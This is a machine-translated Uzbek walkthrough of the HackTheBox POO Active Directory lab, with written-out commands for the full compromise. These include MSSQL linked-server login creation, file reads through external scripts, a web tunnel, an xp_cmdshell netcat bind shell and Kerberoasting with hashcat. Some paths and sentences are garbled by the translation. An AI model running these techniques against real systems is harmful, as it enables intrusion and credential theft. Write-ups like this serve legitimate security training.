HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

Ushbu maqolada biz nafaqat mashinaning, balki butun bir mini-laboratoriyaning saytdan o'tishini tahlil qilamiz HackTheBox.

Tavsifda aytilganidek, POO kichik Active Directory muhitida hujumlarning barcha bosqichlarida ko'nikmalarni sinab ko'rish uchun mo'ljallangan. Maqsad mavjud xostni buzish, imtiyozlarni oshirish va oxir-oqibat jarayonda 5 ta bayroqni yig'ish orqali butun domenni buzishdir.

Laboratoriyaga ulanish VPN orqali amalga oshiriladi. Ishlayotgan kompyuterdan yoki siz uchun muhim ma'lumotlar mavjud bo'lgan xostdan ulanish tavsiya etilmaydi, chunki siz axborot xavfsizligi haqida biror narsa biladigan odamlar bilan shaxsiy tarmoqqa kirasiz 🙂

tashkiliy ma'lumotlar
Yangi maqolalar, dasturiy ta'minot va boshqa ma'lumotlar haqida bilib olishingiz uchun men yaratdim Telegram kanali и har qanday muammolarni muhokama qilish uchun guruh IIKB hududida. Shuningdek, sizning shaxsiy so'rovlaringiz, savollaringiz, takliflaringiz va tavsiyalaringiz Men ko'rib chiqaman va hammaga javob beraman..

Barcha ma'lumotlar faqat ta'lim maqsadlarida taqdim etiladi. Ushbu hujjat muallifi ushbu hujjatni o'rganish natijasida olingan bilim va usullardan foydalanish natijasida hech kimga etkazilgan zarar uchun javobgarlikni o'z zimmasiga olmaydi.

Kirish

Ushbu endgame ikkita mashinadan iborat va 5 ta bayroqni o'z ichiga oladi.

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

Mavjud xostning tavsifi va manzili ham berilgan.

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

Keling, boshlang!

Recon bayrog'i

Ushbu mashinada 10.13.38.11 IP manzili bor, uni men /etc/hosts ga qo'shaman.
10.13.38.11 poo.htb

Birinchi qadam ochiq portlarni skanerlashdir. Barcha portlarni nmap bilan skanerlash uchun ko'p vaqt kerak bo'lgani uchun men buni birinchi navbatda masscan bilan qilaman. Biz tun0 interfeysidan barcha TCP va UDP portlarini 500pps tezlikda skanerlaymiz.

sudo masscan -e tun0 -p1-65535,U:1-65535 10.13.38.11 --rate=500

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

Endi portlarda ishlaydigan xizmatlar haqida batafsil ma'lumot olish uchun keling, -A opsiyasi bilan skanerlashni amalga oshiramiz.

nmap -A poo.htb -p80,1433

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

Shunday qilib, bizda IIS va MSSQL xizmatlari mavjud. Bunday holda, biz domen va kompyuterning haqiqiy DNS nomini bilib olamiz. Veb-serverda bizni IIS bosh sahifasi kutib oladi.

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

Keling, kataloglarni takrorlaymiz. Buning uchun gobusterdan foydalanaman. Parametrlarda biz oqimlar sonini belgilaymiz 128 (-t), URL (-u), lug'at (-w) va bizni qiziqtiradigan kengaytmalar (-x).

gobuster dir -t 128 -u poo.htb -w /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt -x php,aspx,html

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

Shunday qilib, bizda /admin katalogi uchun HTTP autentifikatsiyasi, shuningdek, .DS_Store ish stoli xizmati saqlash fayli mavjud. .DS_Store - fayllar ro'yxati, piktogramma joylashuvi, tanlangan fon tasviri kabi papka uchun foydalanuvchi sozlamalarini saqlaydigan fayllar. Bunday fayl veb-ishlab chiquvchilarning veb-server katalogiga tushishi mumkin. Shunday qilib, biz katalogning mazmuni haqida ma'lumot olamiz. Buning uchun siz foydalanishingiz mumkin DS_Store brauzeri.

python3 dsstore_crawler.py -i http://poo.htb/

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

Biz katalogning mazmunini olamiz. Bu erda eng qiziq narsa /dev katalogi bo'lib, undan manbalar va db fayllarni ikkita filialda ko'rishimiz mumkin. Ammo agar xizmat IIS ShortName uchun zaif bo'lsa, biz fayl va katalog nomlarining dastlabki 6 ta belgisidan foydalanishimiz mumkin. Ushbu zaiflikdan foydalanib tekshirishingiz mumkin IIS qisqa nomi Skaneri.

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

Va biz "poo_co" bilan boshlanadigan bitta matn faylini topamiz. Keyin nima qilishni bilmay, kataloglar lug‘atidan “co” bilan boshlanadigan barcha so‘zlarni tanlab oldim.

cat /usr/share/seclists/Discovery/Web-Content/raft-large-words.txt | grep -i "^co" > co_words.txt

Va wfuzz bilan takrorlang.

wfuzz -w ./co_words.txt -u "http://poo.htb/dev/dca66d38fd916317687e1390a420c3fc/db/poo_FUZZ.txt" --hc 404

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

Va to'g'ri so'zni toping! Biz ushbu faylni ko'rib chiqamiz, hisob ma'lumotlarini saqlaymiz (DBNAME parametriga ko'ra, ular MSSQL-dan).

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

Biz bayroqni topshiramiz va biz 20% oldinga siljiymiz.

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

Xa bayroq

Biz MSSQL ga ulanamiz, men DBeaver dan foydalanaman.

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

Biz ushbu ma'lumotlar bazasida qiziq narsa topmadik, keling, SQL muharriri yaratamiz va foydalanuvchilarning nima ekanligini tekshiramiz.

SELECT name FROM master..syslogins;

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

Bizda ikkita foydalanuvchi bor. Keling, imtiyozlarimizni tekshirib ko'raylik.

SELECT is_srvrolemember('sysadmin'), is_srvrolemember('dbcreator'), is_srvrolemember('bulkadmin'), is_srvrolemember('diskadmin'), is_srvrolemember('processadmin'), is_srvrolemember('serveradmin'), is_srvrolemember('setupadmin'), is_srvrolemember('securityadmin');

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

Shunday qilib, hech qanday imtiyozlar yo'q. Keling, bog'langan serverlarni ko'rib chiqaylik, men ushbu texnika haqida batafsil yozganman shu yerda.

SELECT * FROM master..sysservers;

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

Shunday qilib, biz boshqa SQL Server topamiz. Openquery() yordamida ushbu serverda buyruqlar bajarilishini tekshiramiz.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'select @@version as version');

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

Va biz hatto so'rovlar daraxtini qurishimiz mumkin.

SELECT version FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT version FROM openquery("COMPATIBILITYPOO_PUBLIC", ''select @@version as version'');');

Gap shundaki, biz bog'langan serverga so'rov yuborganimizda, so'rov boshqa foydalanuvchi kontekstida bajariladi! Keling, bog'langan serverda qanday foydalanuvchi kontekstida ishlayotganimizni ko'rib chiqaylik.

SELECT name FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT user_name() as name');

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

Keling, bog'langan serverdan biznikiga so'rov qanday kontekstda bajarilishini ko'rib chiqaylik!

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT name FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT user_name() as name'');');

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

Shunday qilib, bu barcha imtiyozlarga ega bo'lishi kerak bo'lgan DBO konteksti. Bog'langan serverdan so'rov bo'lsa, imtiyozlarni tekshirib ko'raylik.

SELECT * FROM openquery("COMPATIBILITYPOO_CONFIG", 'SELECT * FROM openquery("COMPATIBILITYPOO_PUBLIC", ''SELECT is_srvrolemember(''''sysadmin''''), is_srvrolemember(''''dbcreator''''), is_srvrolemember(''''bulkadmin''''), is_srvrolemember(''''diskadmin''''), is_srvrolemember(''''processadmin''''), is_srvrolemember(''''serveradmin''''), is_srvrolemember(''''setupadmin''''), is_srvrolemember(''''securityadmin'''')'')');

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

Ko'rib turganingizdek, bizda barcha imtiyozlar bor! Adminimizni shunday yaratamiz. Lekin ular ularga ochiq so'rov orqali ruxsat berishmaydi, keling, buni EXECUTE AT orqali qilaylik.

EXECUTE('EXECUTE(''CREATE LOGIN [ralf] WITH PASSWORD=N''''ralfralf'''', DEFAULT_DATABASE=[master], CHECK_EXPIRATION=OFF, CHECK_POLICY=OFF'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''CREATE USER [ralf] FOR LOGIN [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER SERVER ROLE [sysadmin] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";
EXECUTE('EXECUTE(''ALTER ROLE [db_owner] ADD MEMBER [ralf]'') AT "COMPATIBILITYPOO_PUBLIC"') AT "COMPATIBILITYPOO_CONFIG";

Va endi biz yangi foydalanuvchining hisob ma'lumotlari bilan bog'lanamiz, yangi bayroq ma'lumotlar bazasini kuzatamiz.

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

Biz bu bayroqni topshiramiz va oldinga boramiz.

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

Orqaga qaytish bayrog'i

MSSQL yordamida qobiqni olamiz, men impacket paketidan mssqlclient dan foydalanmoqdaman.

mssqlclient.py ralf:ralfralf@poo.htb -db POO_PUBLIC

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

Biz parollarni olishimiz kerak va biz allaqachon uchrashgan birinchi narsa - bu sayt. Shunday qilib, bizga veb-server konfiguratsiyasi kerak (biz qulay qobiqni tashlay olmaymiz, aftidan, xavfsizlik devori ishlayapti).

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

Ammo kirish taqiqlangan. MSSQL-dan faylni o'qishimiz mumkin bo'lsa-da, biz faqat qanday dasturlash tillari sozlanganligini bilishimiz kerak. Va MSSQL katalogida biz Python borligini bilib olamiz.

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

Keyin web.config faylini o'qish uchun hech qanday muammo yo'q.

EXEC sp_execute_external_script
@language = N'Python',
@script = "print(open('C:inetpubwwwrootweb.config').read())"

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

Hisob ma'lumotlari topilganda, /admin-ga o'ting va bayroqni oling.

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

tayanch bayrog'i

Aslida, xavfsizlik devoridan foydalanishda ba'zi noqulayliklar mavjud, ammo tarmoq sozlamalarini ko'rib chiqsak, IPv6 protokoli ham qo'llanilganini ko'ramiz!

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

Ushbu manzilni /etc/hosts ga qo'shing.
dead:babe::1001 poo6.htb
Xostni yana skanerlaymiz, lekin bu safar IPv6 orqali.

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

WinRM xizmati esa IPv6 orqali mavjud. Keling, topilgan hisob ma'lumotlari bilan bog'lanamiz.

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

Ish stolida bayroq bor, uni topshiring.

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

P00 bayrog'i

bilan uy egasi bo'yicha razvedka so'ng no'xat biz maxsus hech narsa topa olmaymiz. Keyin yana hisob ma'lumotlarini qidirishga qaror qilindi (men bu mavzuda ham yozganman maqola). Lekin WinRM orqali tizimdan barcha SPNlarni ololmadim.

setspn.exe -T intranet.poo -Q */*

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

MSSQL orqali buyruqni bajaramiz.

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

Shunday qilib, biz p00_hr va p00_adm foydalanuvchilarining SPNlarini olamiz, ya'ni ular Kerberoasting kabi hujumga qarshi himoyasiz. Qisqasi, biz ularning parollarining xeshlarini olishimiz mumkin.

Avval siz MSSQL foydalanuvchisi nomidan barqaror qobiqni olishingiz kerak. Ammo kirish imkoniyati cheklanganligi sababli, biz xost bilan faqat 80 va 1433 portlari orqali bog'lanamiz. Ammo 80-port orqali trafikni tunnel qilish mumkin! Buning uchun biz foydalanamiz keyingi dastur. Tunnel.aspx faylini veb-serverning uy katalogiga yuklaymiz - C: inetpubwwwroot.

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

Lekin biz unga kirishga harakat qilganimizda 404 xatoga duch kelamiz.Bu *.aspx fayllari bajarilmaganligini bildiradi. Ushbu kengaytmali fayllarni ishga tushirish uchun ASP.NET 4.5 ni quyidagi tarzda o'rnating.

dism /online /enable-feature /all /featurename:IIS-ASPNET45

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

Va endi, tunnel.aspx ga kirishda, biz hamma narsa ishlashga tayyor degan javobni olamiz.

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

Keling, trafikni uzatadigan dasturning mijoz qismini boshlaylik. Biz barcha trafikni 5432 portdan serverga yo'naltiramiz.

python ./reGeorgSocksProxy.py -p 5432 -u http://poo.htb/tunnel.aspx

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

Va biz proksi-server orqali har qanday ilovaning trafigini yuborish uchun proksi zanjirlardan foydalanamiz. Keling, ushbu proksi-serverni /etc/proxychains.conf konfiguratsiya fayliga qo'shamiz.

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

Endi dasturni serverga yuklaymiz netcat, uning yordamida biz barqaror bog'lash qobig'ini va skriptni qilamiz Kerberoastni chaqiring, u bilan biz Kerberoasting hujumini amalga oshiramiz.

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

Endi MSSQL orqali biz tinglovchini ishga tushiramiz.

xp_cmdshell C:tempnc64.exe -e powershell.exe -lvp 4321

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

Va biz proksi-server orqali ulanamiz.

proxychains rlwrap nc poo.htb 4321

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

Keling, hashlarni olamiz.

. .Invoke-Kerberoast.ps1
Invoke-Kerberoast -erroraction silentlycontinue -OutputFormat Hashcat | Select-Object Hash | Out-File -filepath 'C:tempkerb_hashes.txt' -Width 8000
type kerb_hashes.txt

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

Keyinchalik, ushbu xeshlarni takrorlashingiz kerak. Roksizda parol ma'lumotlari lug'ati bo'lmagani uchun men Seclists-da taqdim etilgan HAMMA parollar lug'atlaridan foydalanganman. Ro'yxatga olish uchun biz hashcat dan foydalanamiz.

hashcat -a 0 -m 13100 krb_hashes.txt /usr/share/seclists/Passwords/*.txt --force

Va biz ikkala parolni ham topamiz, birinchisi dutch_passwordlist.txt lug'atida, ikkinchisi esa Keyboard-Combinations.txt da.

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

Shunday qilib, bizda uchta foydalanuvchi bor, biz domen boshqaruvchisiga o'tamiz. Keling, avval uning manzilini bilib olaylik.

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

Ajoyib, biz domen boshqaruvchisining IP manzilini bilib oldik. Keling, domenning barcha foydalanuvchilarini, shuningdek, ulardan qaysi biri administrator ekanligini bilib olaylik. PowerView.ps1 ma'lumotlarini olish uchun skriptni yuklab olish uchun. Keyin biz -s parametridagi skript bilan katalogni ko'rsatib, evil-winrm yordamida ulanamiz. Va keyin faqat PowerView skriptini yuklang.

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

Endi biz uning barcha funksiyalaridan foydalanish imkoniyatiga egamiz. p00_adm foydalanuvchisi imtiyozli foydalanuvchiga o'xshaydi, shuning uchun biz uning kontekstida ishlaymiz. Keling, ushbu foydalanuvchi uchun PSCredential obyektini yarataylik.

$User = 'p00_adm'
$Password = 'ZQ!5t4r'
$Cpass = ConvertTo-SecureString -AsPlainText $Password -force
$Creds = New-Object System.Management.Automation.PSCredential -ArgumentList $User,$Cpass

Endi biz Creds ko'rsatgan barcha Powershell buyruqlari p00_adm nomidan bajariladi. Keling, foydalanuvchilar ro'yxatini va AdminCount atributini ko'rsatamiz.

Get-NetUser -DomainController dc -Credential $Creds | select name,admincount

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

Shunday qilib, bizning foydalanuvchimiz haqiqatan ham imtiyozga ega. Keling, u qaysi guruhlarga tegishli ekanligini ko'rib chiqaylik.

Get-NetGroup -UserName "p00_adm" -DomainController dc -Credential $Creds

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

Biz nihoyat foydalanuvchining domen administratori ekanligini tasdiqlaymiz. Bu unga domen boshqaruvchisiga masofadan kirish huquqini beradi. Keling, tunnelimiz yordamida WinRM bilan tizimga kirishga harakat qilaylik. Evil-winrm-dan foydalanganda reGeorg tomonidan chiqarilgan xatolar meni chalkashtirib yubordi.

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

Keyin biz boshqa, osonroq foydalanamiz, skript WinRM ga ulanish uchun. Ulanish parametrlarini oching va o'zgartiring.

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

Biz ulanishga harakat qilamiz va biz tizimdamiz.

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

Lekin bayroq yo'q. Keyin foydalanuvchiga qarang va ish stollarini tekshiring.

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

mr3ks da biz bayroqni topamiz va laboratoriya 100% bajarilgan.

HackTheBoxendgame. Professional hujum operatsiyalari laboratoriyasidan o'tish. Pentest Active Directory

Ana xolos. Fikr-mulohaza sifatida ushbu maqoladan yangi narsalarni o'rgandingizmi va u siz uchun foydalimi yoki yo'qligini sharhlang.

Bizga qo'shilishingiz mumkin Telegram. U erda siz qiziqarli materiallarni, birlashtirilgan kurslarni, shuningdek, dasturiy ta'minotni topishingiz mumkin. Keling, ITning ko'plab sohalarini tushunadigan odamlar bo'ladigan hamjamiyatni to'playmiz, shunda biz har qanday IT va axborot xavfsizligi masalalarida har doim bir-birimizga yordam bera olamiz.

Manba: www.habr.com

DDoS himoyasi, VPS VDS serverlari bo'lgan saytlar uchun ishonchli hosting sotib oling 🔥 DDoS himoyasi, VPS VDS serverlari bilan ishonchli veb-sayt xostingini sotib oling | ProHoster